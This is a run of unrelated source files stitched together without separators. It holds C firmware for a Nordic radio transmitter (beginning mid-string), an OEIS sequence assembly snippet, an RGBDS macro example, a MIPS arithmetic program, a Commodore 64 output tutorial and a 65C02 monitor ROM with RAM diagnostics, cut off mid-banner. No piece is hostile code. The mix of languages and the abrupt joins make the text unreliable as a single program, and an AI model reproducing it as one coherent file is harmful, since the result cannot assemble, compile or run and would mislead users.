packet failed\r\n"); } g_Flag = true; //BleSrvcCharNotify(&g_UartBleSrvc, 0, &buff, 1); } void nrf_esb_event_handler(nrf_esb_evt_t const * p_event) { switch (p_event->evt_id) { case NRF_ESB_EVENT_TX_SUCCESS: //g_Uart.printf("TX SUCCESS EVENT\r\n"); break; case NRF_ESB_EVENT_TX_FAILED: g_Uart.printf("TX FAILED EVENT\r\n"); (void) nrf_esb_flush_tx(); (void) nrf_esb_start_tx(); break; case NRF_ESB_EVENT_RX_RECEIVED: g_Uart.printf("RX RECEIVED EVENT\r\n"); while (nrf_esb_read_rx_payload(&rx_payload) == NRF_SUCCESS) { if (rx_payload.length > 0) { //NRF_LOG_DEBUG("RX RECEIVED PAYLOAD\r\n"); } } break; } NRF_GPIO->OUTCLR = 0xFUL << 12; NRF_GPIO->OUTSET = (p_event->tx_attempts & 0x0F) << 12; } void clocks_start( void ) { NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); } void gpio_init( void ) { //nrf_gpio_range_cfg_output(8, 15); //bsp_board_leds_init(); } uint32_t esb_init( void ) { uint32_t err_code; uint8_t base_addr_0[4] = {0xE6, 0xE6, 0xE6, 0xE6}; uint8_t base_addr_1[4] = {0xC2, 0xC2, 0xC2, 0xC2}; uint8_t addr_prefix[8] = {0xE7, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8 }; nrf_esb_config_t nrf_esb_config = NRF_ESB_DEFAULT_CONFIG; nrf_esb_config.tx_output_power = NRF_ESB_TX_POWER_4DBM; nrf_esb_config.protocol = NRF_ESB_PROTOCOL_ESB_DPL; nrf_esb_config.retransmit_delay = 200; nrf_esb_config.retransmit_count = 3; nrf_esb_config.bitrate = NRF_ESB_BITRATE_2MBPS; nrf_esb_config.event_handler = nrf_esb_event_handler; nrf_esb_config.mode = NRF_ESB_MODE_PTX; nrf_esb_config.selective_auto_ack = true; err_code = nrf_esb_init(&nrf_esb_config); VERIFY_SUCCESS(err_code); err_code = nrf_esb_set_base_address_0(base_addr_0); VERIFY_SUCCESS(err_code); err_code = nrf_esb_set_base_address_1(base_addr_1); VERIFY_SUCCESS(err_code); err_code = nrf_esb_set_prefixes(addr_prefix, 8); VERIFY_SUCCESS(err_code); return err_code; } void HardwareInit() { uint32_t time_ms = 1000; //Time(in miliseconds) between consecutive compare events. uint32_t time_ticks; uint32_t err_code = NRF_SUCCESS; g_Uart.Init(g_UartCfg); IOPinCfg(s_ButPin, 2); IOPinEnableInterrupt(0, 7, BLUEIO_BUT1_PORT, BLUEIO_BUT1_PIN, IOPINSENSE_LOW_TRANSITION , ButInterHandler); nrf_drv_timer_config_t timer_cfg = NRF_DRV_TIMER_DEFAULT_CONFIG; err_code = nrf_drv_timer_init(&g_TimerPulse, &timer_cfg, timer_led_event_handler); APP_ERROR_CHECK(err_code); time_ticks = nrf_drv_timer_us_to_ticks(&g_TimerPulse, time_ms); nrf_drv_timer_extended_compare( &g_TimerPulse, NRF_TIMER_CC_CHANNEL0, time_ticks, NRF_TIMER_SHORT_COMPARE0_CLEAR_MASK, true); nrf_drv_timer_enable(&g_TimerPulse); } int main(void) { ret_code_t err_code; HardwareInit(); g_Uart.printf("ESBptx\n"); //err_code = NRF_LOG_INIT(NULL); //APP_ERROR_CHECK(err_code); clocks_start(); err_code = esb_init(); //APP_ERROR_CHECK(err_code); //bsp_board_leds_init(); //NRF_LOG_DEBUG("Enhanced ShockBurst Transmitter Example running.\r\n"); while (true) { //NRF_LOG_DEBUG("Transmitting packet %02x\r\n", tx_payload.data[1]); __WFE(); if (g_Flag) { g_Flag = false; // ESBWritePayload(); } /* tx_payload.noack = false; if (nrf_esb_write_payload(&tx_payload) == NRF_SUCCESS) { // Toggle one of the LEDs. //nrf_gpio_pin_write(LED_1, !(tx_payload.data[1]%8>0 && tx_payload.data[1]%8<=4)); //nrf_gpio_pin_write(LED_2, !(tx_payload.data[1]%8>1 && tx_payload.data[1]%8<=5)); //nrf_gpio_pin_write(LED_3, !(tx_payload.data[1]%8>2 && tx_payload.data[1]%8<=6)); //nrf_gpio_pin_write(LED_4, !(tx_payload.data[1]%8>3)); tx_payload.data[1]++; } else { //NRF_LOG_WARNING("Sending packet failed\r\n"); } usDelay(50000);*/ } } /*lint -restore */
; A146883: a(n) = 6 * Sum_{m=0..n} 5^m. ; 6,36,186,936,4686,23436,117186,585936,2929686,14648436,73242186,366210936,1831054686,9155273436,45776367186,228881835936,1144409179686,5722045898436,28610229492186,143051147460936,715255737304686 mov $1,5 pow $1,$0 div $1,4 mul $1,30 add $1,6
DEF n EQU 0 REDEF n EQU 1 ; prints "$1" PRINTLN n list: MACRO LIST_NAME EQUS "\1" DEF LENGTH_{LIST_NAME} EQU 0 ENDM item: MACRO REDEF LENGTH_{LIST_NAME} EQU LENGTH_{LIST_NAME} + 1 DEF {LIST_NAME}_{d:LENGTH_{LIST_NAME}} EQU \1 ENDM list SQUARES item 1 item 4 item 9 println LENGTH_SQUARES, SQUARES_1, SQUARES_2, SQUARES_3 N EQUS "X" REDEF N EQU 42
# Ch26-1.asm #Arithmetic Expression: 5u^2 - 12uv + 6v^2 .data prompt_u: .asciiz "Enter values for u: " prompt_v: .asciiz "Enter values for v: " result: .asciiz "The result is: " .text .globl main main: la $a0, prompt_u # print string li $v0, 4 # service 4 syscall li $v0, 5 # read int into $v0 syscall move $s0,$v0 # save it in $s0 la $a0, prompt_v # print string li $v0, 4 # service 4 syscall li $v0, 5 # read int into $v0 syscall move $s1,$v0 # save it in $s1 #multiply3(5,u,u) li $a0, 5 move $a1, $s0 move $a2, $s0 jal multiply3 #go to the function move $s2, $v0 #multiply3(12,u,v); li $a0, -12 move $a1, $s0 move $a2, $s1 jal multiply3 #go to the function move $s3, $v0 #multiply3(6,v,v); li $a0, 6 move $a1, $s1 move $a2, $s1 jal multiply3 #go to the function move $s4, $v0 #5u2 - 12uv + 6v2 add $s5, $s2, $s3 add $s5, $s5, $s4 #print result li $v0, 4 la $a0, result syscall li $v0, 1 move $a0, $s5 syscall #finish program li $v0, 10 syscall #multiply3(int p1, int p2, int p3) multiply3: #p1*p2*p3 mul $t0, $a0, $a1 mul $t0, $t0, $a2 move $v0, $t0 jr $ra # return p1*p2*p3
;******************************************************************************* ;* Tutorial Nineteen Output to a device using Kernel Jump Vectors * ;* * ;* Written By John C. Dale * ;* Tutorial #20 * ;* Date : 24th Aug, 2017 * ;* * ;******************************************************************************* ;* * ;******************************************************************************* ;******************************************************************************* ;* Kernel Vector Constants * ;******************************************************************************* CHROUT = $FFD2 CHKOUT = $FFC9 OPEN = $FFC0 SETLFS = $FFBA SETNAM = $FFBD CLRCHN = $FFCC CLOSE = $FFC3 PRINTSTRING = $AB1E *=$9000 ;jmp PRINTTODEFAULT ;jmp PRINTTOPRINTER ;jmp PRINTTOTAPE jmp PRINTTODISK TESTFILENAME TEXT "johntest" BRK TESTFILENAMEDISK TEXT "johntest,seq,write" BRK TESTTEXT TEXT "this is to test the output jump vectors" BYTE 15 BRK PRINTTODEFAULT ldx #$00 lda #<TESTTEXT ldy #>TESTTEXT jsr PRINTSTRING rts PRINTTOPRINTER lda #4 ; Logical File Number tax ; Device Number (Printer Device #4) ldy #2 ; Secondary Address jsr SETLFS lda #0 ldx #255 ldy #255 jsr SETNAM jsr OPEN ldx #4 ; Logical File Number jsr CHKOUT jsr PRINTTODEFAULT ;ldx #$00 ;lda #<TESTTEXT ;ldy #>TESTTEXT ;jsr PRINTSTRING jsr CLRCHN lda #4 ; Logical File Number jsr CLOSE rts PRINTTOTAPE lda #1 ; Logical File Number tax ; Device Number (Tape Device #1) ldy #255 ; Secondary Address jsr SETLFS lda #8 ldx #<TESTFILENAME ldy #>TESTFILENAME jsr SETNAM jsr OPEN ldx #1 ; Logical File Number jsr CHKOUT jsr PRINTTODEFAULT ;ldx #$00 ;lda #<TESTTEXT ;ldy #>TESTTEXT ;jsr PRINTSTRING jsr CLRCHN lda #1 ; Logical File Number jsr CLOSE RTS PRINTTODISK lda #8 ; Logical File Number tax ; Device Number (Disk Drive 8) ldy #2 ; Secondary Address jsr SETLFS lda #18 ldx #<TESTFILENAMEDISK ldy #>TESTFILENAMEDISK jsr SETNAM jsr OPEN ; bcc NOOPENERRORFOUND ; cmp #1 ; To Many Files Open ; bne @NEXT ; jmp TOOMANYFILESOPENERROR ;@NEXT ; cmp #2 ; File Already Open ; bne @NEXT2 ; jmp FILEALREADYOPENERROR ;@NEXT2 ; cmp #4 ; File Not Found ; bne @NEXT3 ; jmp FILENOTFOUNDERROR ;@NEXT3 ; cmp #5 ; Device Not Present ; bne @NEXT4 ; jmp DEVICENOTPRESENTERROR ;@NEXT4 ; cmp #6 ; File is not an Input File ; bne NOOPENERRORFOUND ; jmp FILENOTINPUTFILEERROR ;NOOPENERRORFOUND ldx #8 ; Logical File Number jsr CHKOUT bcc NOCHKOUTERRORFOUND cmp #0 ; Routine Terminated By Stop Key cmp #3 ; File Not Open cmp #5 ; Device Not Present cmp #7 ; File is not an Output File NOCHKOUTERRORFOUND jsr PRINTTODEFAULT ;ldx #$00 ;lda #<TESTTEXT ;ldy #>TESTTEXT ;jsr PRINTSTRING jsr CLRCHN lda #8 ; Logical File Number jsr CLOSE RTS
; Asynchronous Communications Interface Adapter (ACIA) - DCE ACIA1 = $7700 ; Base address of ACIA1 ACIA1_DATA = ACIA1 ; Data register ACIA1_STATUS = ACIA1+1 ; Read: Status Register, Write: Programmed Reset ACIA1_CMD = ACIA1+2 ; Command Register ACIA1_CTRL = ACIA1+3 ; Control Register ; Versatile Interface Adapter (VIA) - PS/2 keyboard & mouse, and NES controllers. With interrupt driven switches VIA1 = $7710 ; Base address of VIA1 VIA1_PORTB = VIA1 ; Data I/O register for port B VIA1_PORTA = VIA1+1 ; Data I/O register for port A VIA1_DDRB = VIA1+2 ; Data Direction of port B VIA1_DDRA = VIA1+3 ; Data Direction of port A VIA1_T1CL = VIA1+4 ; Timer 1 [read = Counter] [write = Latches] (low order) VIA1_T1CH = VIA1+5 ; Timer 1 Counter (high order) VIA1_T1LL = VIA1+6 ; Timer 1 Latches (low order) VIA1_T1LH = VIA1+7 ; Timer 1 Latches (high order) VIA1_T2CL = VIA1+8 ; Timer 2 [read = Counter] [write = Latches] (low order) VIA1_T2CH = VIA1+9 ; Timer 2 Counter (high order) VIA1_SR = VIA1+10 ; Shift Register VIA1_ACR = VIA1+11 ; Auxiliary Control Register VIA1_PCR = VIA1+12 ; Peripheral Control Register VIA1_IFR = VIA1+13 ; Interrupt Flag Register VIA1_IER = VIA1+14 ; Interrupt Enable Register VIA1_PORTA_NH = VIA1+15 ; Same as PORT_A but with no handshake ; Versatile Interface Adapter (VIA) - 8-bit LCD with SPI on mini-DIN VIA2 = $7720 ; Base address of VIA1 VIA2_PORTB = VIA2 ; Data I/O register for port B VIA2_PORTA = VIA2+1 ; Data I/O register for port A VIA2_DDRB = VIA2+2 ; Data Direction of port B VIA2_DDRA = VIA2+3 ; Data Direction of port A VIA2_T1CL = VIA2+4 ; Timer 1 [read = Counter] [write = Latches] (low order) VIA2_T1CH = VIA2+5 ; Timer 1 Counter (high order) VIA2_T1LL = VIA2+6 ; Timer 1 Latches (low order) VIA2_T1LH = VIA2+7 ; Timer 1 Latches (high order) VIA2_T2CL = VIA2+8 ; Timer 2 [read = Counter] [write = Latches] (low order) VIA2_T2CH = VIA2+9 ; Timer 2 Counter (high order) VIA2_SR = VIA2+10 ; Shift Register VIA2_ACR = VIA2+11 ; Auxiliary Control Register VIA2_PCR = VIA2+12 ; Peripheral Control Register VIA2_IFR = VIA2+13 ; Interrupt Flag Register VIA2_IER = VIA2+14 ; Interrupt Enable Register VIA2_PORTA_NH = VIA2+15 ; Same as PORT_A but with no handshake ; RTC declarations (numbers are BCD) RTC_YEAR = $7FFF ; 00-99 (b7-b4 = tens) RTC_MONTH = $7FFE ; 1-12 (b4 = tens)) RTC_DATE = $7FFD ; 1-31 (b5-b4 = tens) RTC_DAY = $7FFC ; 1-7 (b6 = Frequency Test, 0 for normal operation) RTC_HOURS = $7FFB ; 00-23 (b5-b4 = tens) RTC_MINUTES = $7FFA ; 00-59 (b6-b4 = tens) RTC_SECONDS = $7FF9 ; 00-59 (b7 = Stop bit, b6-b4 = tens) RTC_CTRL = $7FF8 ; (b7 = Write, b6 = Read, b5 = Sign, b4-b0 = Calibration) ; MISCELANEOUS INT_SEL = $770E ; Priority Interrupt BANK_SEL = $770F ; Bank Select ; LOCAL BANKRAM_NO = $00 ; Current RAM bank TEMP = $01 ; Generic (2-bytes) GET_TEMP = $03 ; Temporary variable to 2nd level get byte or word commands MON_TEMP = $05 ; Temporary variable to 1st level monitor command (2-bytes) DIAG_TEMP = $0340 ; Temporary variable for ZeroPage and StackPage memory test ; PARSE PARSE_IN_BUFF_POS = MON_TEMP ; PARSE_ERROR_PTR = MON_TEMP+1 ; ; GLOBAL CUR_ADDR = $10 ; Current address (2-bytes) SRC_ADDR = $12 ; Source/Start address (2-bytes) DES_ADDR = $14 ; Destination/End address (2-bytes) WORD = $16 ; 16-bit variable (2-bytes) ERROR_PTR = $18 ; Error pointer for command line (1-byte) BIN = $19 ; Hexadecimal number to be converted (2-bytes) BCD = $1B ; Binary coded decimal (3-bytes) ; TIMERS TICKS = $30 ; 32-bit counter (4-bytes) TOGGLE_TIME = $34 ; ; KEYBOARD KB_WPTR = $20 ; Keyboard write pointer KB_RPTR = $21 ; Keyboard read pointer KB_BUFFER = $0200 ; Keyboard buffer (256 bytes) ; MOUSE MS_DATA = $46 MS_X = $47 MS_Y = $48 ; NES NES_CTRL1 = $49 NES_CTRL2 = $4A ; Processor variables PROC_A = $50 ; Accumulator PROC_X = $51 ; X register PROC_Y = $52 ; Y register PROC_FLAGS = $53 ; Processor flags PROC_PC = $54 ; Program counter ; Intel Hex variables RECORD_LENGTH = $56 ; Record length in bytes START = $57 ; 2-bytes RECORD_TYPE = $59 ; Record type CHECKSUM = $5A ; Record checksum accumulator DOWNLOAD_FAIL = $5B ; Flag for download failure ; DISASSEMBLER OPCODE = $5C ; Opcode OPERAND1 = $5D ; First operand byte (single byte, or LSB of 16-bit address) OPERAND2 = $5E ; Second operand byte (MSB of 16-bit address) ADDR_MODE = $5F ; Addressing mode ; STRING IN_BUFFER = $0300 ; Command line input buffer (34-bytes) ; Keystrokes BS = $08 ; Backspace TAB = $09 ; Horizontal Tab CR = $0D ; Carriage return LF = $0A ; Line feed ESC = $1B ; Escape (to exit) ; Display specific COLUMNS = 40 ; Number of columns the display has ROWS = 24 ; Number of lines the display has BYTES_PER_LINE = 8 ; Number of bytes per line to display in the read command ;Time specific SHORT = "S" ; Short time format (2022-02-16) MEDIUM = "M" ; Medium time format (February 16, 2022) LONG = "L" ; Long date format (Wednesday, February 16, 2022) ; Miscellaneous LIFE_LED = $80 ; VIA1 PA7 (Peripheral life LED timer tick set to...) ; Memory location START_RAM = $0200 ; Start location of SRAM (excluding zero page and stack page) END_RAM = $55FF ; End location of SRAM START_BANKRAM = $5600 END_BANKRAM = $75FF NUMBER_OF_BANKS = 1 ;512/8 ; 512K / 8K = 64 pages START_NVRAM = $7800 ; Start location of NVRAM END_NVRAM = $7FF7 ; End location of NVRAM (excluding RTC area) ENTRY_POINT = $1000 ; Intel Hex LOAD entry point default location ; Disassemble addressing modes IMP = 1 ; Implicite IMM = 2 ; Immediate: #$00 REL = 3 ; PC-relative: $00 ZP = 4 ; Zeropage: $00 ZPX = 5 ; Zeropage X: $00,X ZPY = 6 ; Zeropage Y: $00,Y IZP = 7 ; Indirect zeropage: ($00) IZX = 8 ; Indirect zeropage X: ($00,X) IZY = 9 ; Indirect zeropage Y: ($00,Y) ZPR = 10 ; Zeropage (PC-relative): $00,$00 ABS = 11 ; Absolute: $0000 ABX = 12 ; Absolute X: $0000,X ABY = 13 ; Absolute Y: $0000,Y IND = 14 ; Indirect: ($0000) IAX = 15 ; Indirect X: ($0000,X) IAY = 16 ; Indirect Y: ($0000),Y .org $8000 setup: sei ; Set interrupt inhibit bit cld ; Clear decimal mode (binary mode arithmetic) ; Initialize stack (zero out page) ldx #$00 ; Reset pointer init_stackpage: stz $0100,x ; Zero out address $0100 + X inx ; Point to next memory location bne init_stackpage ; Loop until Z reaches zero ldx #$FF ; Initialize stack to ($01FF) txs ; Set the stack register ; Initialize all variables in zero page ldx #$00 ; Reset pointer init_zeropage: stz $00,x ; Zero out address $0100 + X inx ; Point to next memory location bne init_zeropage ; Loop until Z reaches zero ; Initialize I/O jsr acia_init ; Initialize all ACIAs ;jsr via_init ;cli ; Print welcome message on terminal ldx #<welcome_msg ; Get LSB address of msg ldy #>welcome_msg ; Get MSB address of msg jsr print_string ; Write message ; Print date and time on terminal ;lda #LONG ; Long date format ;jsr print_date ;lda #" " ;jsr print_char ;jsr print_char ;jsr print_char ;lda #12 ; 12 hour format ;jsr print_time ;lda #CR ; Change line ;jsr print_char ; ;jsr print_char ; main: jsr command_prompt ; Print prompt, constinuting of current address and a "greater than" character jsr read_prompt ; Read a line from input device to IN_BUFFER bcc main ; If no characters in buffer, then loop to command prompt jsr parse ; Parse string and execute commands bra main ; _ _ _ _ ; __ _ ___ (_) __ _ (_) _ __ (_) | |_ ; / _` | / __| | | / _` | | | | '_ \ | | | __| ; | (_| | | (__ | | | (_| | | | | | | | | | | |_ ; \__,_| \___| |_| \__,_| _____ |_| |_| |_| |_| \__| ; |_____| ; ; Initialize ACIA ; ---------------------------------------------------------------------------------------------------------------------- acia_init: ; INITIALIZE ACIA 1 stz ACIA1_STATUS ; Software reset lda #%00011111 ; 1 stop bit, 8 data bits, 19200 baud sta ACIA1_CTRL lda #%00001011 ; No parity, normal echo, no RTS, DTR low sta ACIA1_CMD rts ; _ _ ; __ _ __| | __| | _ __ ___ ___ ___ ; / _` | / _` | / _` | | '__| / _ \ / __| / __| ; | (_| | | (_| | | (_| | | | | __/ \__ \ \__ \ ; \__,_| \__,_| \__,_| |_| \___| |___/ |___/ ; ; Set current address ; ---------------------------------------------------------------------------------------------------------------------- address: lda IN_BUFFER,y ; Read a character from the input buffer beq address_default ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq address_get ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error rts ; End of routine address_default: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED +1 stz CUR_ADDR+1 ; Set MSB address as 00 stz CUR_ADDR ; Set LSB address as 00 rts ; address_get: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcc address_error ; Error in address lda WORD+1 ; Store word as address sta CUR_ADDR+1 ; lda WORD ; sta CUR_ADDR ; rts address_error: jsr invalid_address rts ; _ _ ____ _ _ ; | |__ (_) _ __ |___ \ | |__ ___ __| | ; | '_ \ | | | '_ \ __) | | '_ \ / __| / _` | ; | |_) | | | | | | | / __/ | |_) | | (__ | (_| | ; |_.__/ |_| |_| |_| |_____| |_.__/ \___| \__,_| ; ; Converts a binary numerical number and displays it as printable decimal ; Thanks to Andrew Jacobs for the code ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: BIN = 8-bit binary value $00-$FF ; RETURNS: BCD = ones and tens ; BCD+1 = hundreds bin2bcd8: pha phx sed ; Switch to decimal calculation mode clc ; Clear carry bit lda #0 sta BCD ; Clear out BCD variable sta BCD+1 ; ldx #8 bin2bcd8_convert: asl BIN ; Shift out one bit lda BCD ; And add into result adc BCD sta BCD lda BCD+1 ; propagating any carry adc BCD+1 sta BCD+1 dex ; And repeat for the next bit bne bin2bcd8_convert cld ; Back to binary calculation mode plx pla rts bin2bcd16: pha phx sed ; Switch to decimal calculation mode clc ; Clear carry bit lda #0 sta BCD ; Clear out BCD variable sta BCD+1 ; sta BCD+2 ldx #16 bin2bcd16_convert: asl BIN ; Shift out one bit rol BIN+1 lda BCD ; And add into result adc BCD sta BCD lda BCD+1 ; ... propagating any carry adc BCD+1 sta BCD+1 lda BCD+2 ; ... thru whole result adc BCD+2 sta BCD+2 dex ; And repeat for the next bit bne bin2bcd16_convert cld ; Back to binary calculation mode plx pla rts ; _ _ _ _ ; __| | ___ | | ___ | |_ ___ ___ | |__ __ _ _ __ ; / _` | / _ \ | | / _ \ | __| / _ \ / __| | '_ \ / _` | | '__| ; | (_| | | __/ | | | __/ | |_ | __/ | (__ | | | | | (_| | | | ; \__,_| \___| |_| \___| \__| \___| _____ \___| |_| |_| \__,_| |_| ; |_____| ; ; Delete one or many characters. Number of characters to delete is in Y (minimum is 1) ; ------------------------------------------------------------------------------------ delete_char: pha delete_char_loop: lda #BS ; Go back one character jsr print_char lda #" " ; Remove character jsr print_char lda #BS ; Go back again jsr print_char dey ; Decrement number of charaters to delete bne delete_char_loop ; If not reached number of characters deleted, continue delete pla rts ; _ _ _ _ ; __| | (_) __ _ __ _ _ __ ___ ___ | |_ (_) ___ ___ ; / _` | | | / _` | / _` | | '_ \ / _ \ / __| | __| | | / __| / __| ; | (_| | | | | (_| | | (_| | | | | | | (_) | \__ \ | |_ | | | (__ \__ \ ; \__,_| |_| \__,_| \__, | |_| |_| \___/ |___/ \__| |_| \___| |___/ ; |___/ ; ; Diagnose RAM and peripherals ; ---------------------------------------------------------------------------------------------------------------------- ; DESTROYS: A, X, Y, MON_TEMP diagnostics: sei ; Deactivate interrupts stz DIAG_TEMP+1 ; Used to detect skip test ; ZERO-PAGE RAM TEST ; ------------------ diag_zeropage: ; PRINT MESSAGE ldx #<diag_zeropage_msg ; Get LSB address of msg ldy #>diag_zeropage_msg ; Get MSB address of msg jsr print_string ; Display "Testing ZeroPage $0000-00FF" ldx #$00 ; Set start address pointer diag_zeropage55: ; TEST WITH 55 lda $00,x ; Load value stored at memory location pointed by x sta DIAG_TEMP ; Save it lda #$55 ; Load value 55 test pattern sta $00,x ; Store test pattern in memory location lda $00,x ; Reload test pattern from memory cmp #$55 ; Compare it to the original test pattern beq diag_zeropageAA ; If equal, test next pattern jmp diag_error ; If not, print error, and end routine diag_zeropageAA: ; TEST WITH AA lda #$AA ; Load value AA test pattern sta $00,x ; Store test pattern in memory location lda $00,x ; Reload test pattern from memory cmp #$AA ; Compare it to the original test pattern beq diag_zeropage_restore ; If equal, restore data back to ram jmp diag_error ; If not, print error, and end routine diag_zeropage_restore: ; RESTORE DATA AND LOOP lda DIAG_TEMP ; Restore data sta $00,x ; Save value back to zeropage inx ; Increment address pointer bne diag_zeropage55 ; If rolled back to 0, then test stack RAM, else test next location jsr diag_ok ; STACK PAGE RAM TEST ; ------------------- diag_stack: ldx #<diag_stack_msg ; Get LSB address of msg ldy #>diag_stack_msg ; Get MSB address of msg jsr print_string ; Display "Testing StackPage $0100-01FF" ldx #$00 ; Set start address pointer diag_stack55: lda $0100,x ; Load value storet at memory location pointed by x sta DIAG_TEMP ; Store it lda #$55 ; Load value 55 test pattern sta $0100,x ; Store test pattern in memory location lda $0100,x ; Reload test pattern from memory cmp #$55 ; Compare it to the original test pattern beq diag_stackAA ; If equal, test next pattern jmp diag_error ; If not, print error, and end routine diag_stackAA: lda #$AA ; Load value AA test pattern sta $0100,x ; Store test pattern in memory location lda $0100,x ; Reload test pattern from memory cmp #$AA ; Compare it to the original test pattern beq diag_stack_restore ; If equal, restore data back to ram jmp diag_error ; If not, print error, and end routine diag_stack_restore: lda DIAG_TEMP ; Restore data from stack sta $0100,x ; Save value back to stack inx ; Increment address pointer bne diag_stack55 ; If rolled back to 0, then test stack RAM, else test next location jsr diag_ok ; SYSTEM RAM TEST ; --------------- diag_ramtest: ; SYTEM RAM TEST ldx #<diag_ramtest_msg ; Get LSB address of msg ldy #>diag_ramtest_msg ; Get MSB address of msg jsr print_string ; Display "Testing RAM $" lda #>START_RAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_RAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_RAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_RAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon jsr diag_memtest ; Execute RAM diagnostics bcc diag_bankramtest jsr diag_ok ; BANK RAM TEST ; ------------- diag_bankramtest: ; BANK RAM TEST lda DIAG_TEMP+1 beq diag_bankramtest2 jmp diag_end diag_bankramtest2: ldx #<diag_bankramtest_msg ; Get LSB address of msg ldy #>diag_bankramtest_msg ; Get MSB address of msg jsr print_string ; Write message lda #>START_BANKRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_BANKRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_BANKRAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_BANKRAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon lda #" " ; jsr print_char ; Print space ldx #NUMBER_OF_BANKS ; Setup bank counter to point to first bank diag_banktest: ; lda #>START_BANKRAM ; Reload start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) lda #<START_BANKRAM ; Reload start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) txa ; Transfer bank counter to A sta BANK_SEL ; Change bank sta BIN jsr bin2bcd8 lda BCD jsr print_byte ; Print space jsr diag_memtest ; Execute current bank RAM diagnostics bcc diag_end ; There was an error, exit ldy #2 ; Set backspace counter to 2 jsr delete_char ; Delete 2 characters from terminal dex ; Decrement bank numbers bne diag_banktest ; If not finished, then continue testing more banks ldy #1 ; Set backspace counter to 1 jsr delete_char ; Delete a characters from terminal jsr diag_ok ; NVRAM TEST ; ---------- diag_nvramtest: lda DIAG_TEMP+1 bne diag_end ldx #<diag_nvramtest_msg ; Get LSB address of msg ldy #>diag_nvramtest_msg ; Get MSB address of msg jsr print_string ; Display "Testing RAM $" lda #>START_NVRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_NVRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_NVRAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_NVRAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon jsr diag_memtest ; Execute RAM diagnostics bcc diag_end jsr diag_ok diag_end: stz CUR_ADDR ; Reset default address to $0000 stz CUR_ADDR+1 ; ;cli ; Restore interrupt rts ; Diagnostics subroutines diag_memtest: ; TEST MEMORY LOCATIONS lda (CUR_ADDR) ; Read a byte from memory sta MON_TEMP ; Store byte to retrieve it back later lda #$55 ; Load 55 sta DIAG_TEMP ; Save for diag_error sta (CUR_ADDR) ; Store value lda (CUR_ADDR) ; Read value cmp #$55 ; Is the result the same as the loaded value? beq diag_memtest2 ; Yes, go to next test jmp diag_error ; No, print error diag_memtest2: lda #$AA ; Load AA sta DIAG_TEMP ; Save for diag_error sta (CUR_ADDR) ; Store value lda (CUR_ADDR) ; Read value cmp #$AA ; Is the result the same as the loaded value? beq diag_memtest_ok ; Yes, go and print OK jmp diag_error ; No, print error diag_memtest_ok: lda MON_TEMP ; Restore original byte sta (CUR_ADDR) ; And write it back to memory ; ; HAS THE ESCAPE KEY BEEN PRESSED ; jsr read_char ; Get a character from the terminal, if available ; bcs diag_key_read ; If one is present, interpret keystroke ; jsr read_keyboard ; Get a character from the PS/2 keyboard buffer, if available ; bcs diag_key_read ; Loop until one is present ; bra diag_mem_test_continue ;diag_key_read: ; cmp #ESC ; bne diag_mem_test_continue ; ldy 2 ; jsr delete_char ; jsr diag_skip_test ; inc DIAG_TEMP+1 ; ldx #0 ; sec ; rts ;diag_mem_test_continue: lda DES_ADDR+1 cmp CUR_ADDR+1 bne diag_memtest_next ; lda DES_ADDR cmp CUR_ADDR bne diag_memtest_next ; sec rts diag_memtest_next: jsr inc_cur_addr ; Increment current address to next bra diag_memtest diag_skip_test: ldx #<diag_skip_test_msg ; Get LSB address of msg ldy #>diag_skip_test_msg ; Get MSB address of msg jsr print_string ; Write message diag_error: ; PRINT ERROR MESAGE lda #CR jsr print_char ; Change line ldx #<diag_ram_error_msg ; Get LSB address of msg ldy #>diag_ram_error_msg ; Get MSB address of msg jsr print_string ; Write message lda CUR_ADDR+1 ; Load the MSB address where the error is jsr print_byte ; Print MSB lda CUR_ADDR ; Load the LSB address where the error is jsr print_byte ; Print LSB lda #":" jsr print_char ; Print colon lda (CUR_ADDR) ; Get content located at address where error is jsr print_byte ; Print the content ldx #<diag_ram_error2_msg ; Get LSB address of msg ldy #>diag_ram_error2_msg ; Get MSB address of msg jsr print_string ; Write message lda DIAG_TEMP ; Restore exected value from stack (was in X) jsr print_byte ; Print expected result lda #CR ; jsr print_char ; Print carriage return clc ; Clear carry to declare error jmp diag_end diag_ok: ; PRINT OK MESSAGE lda #" " jsr print_char lda #"O" jsr print_char lda #"K" jsr print_char lda #CR jsr print_char rts ; ____ _ _ _ ; | _ \ (_) ___ __ _ ___ ___ ___ _ __ ___ | |__ | | ___ ; | | | | | | / __| / 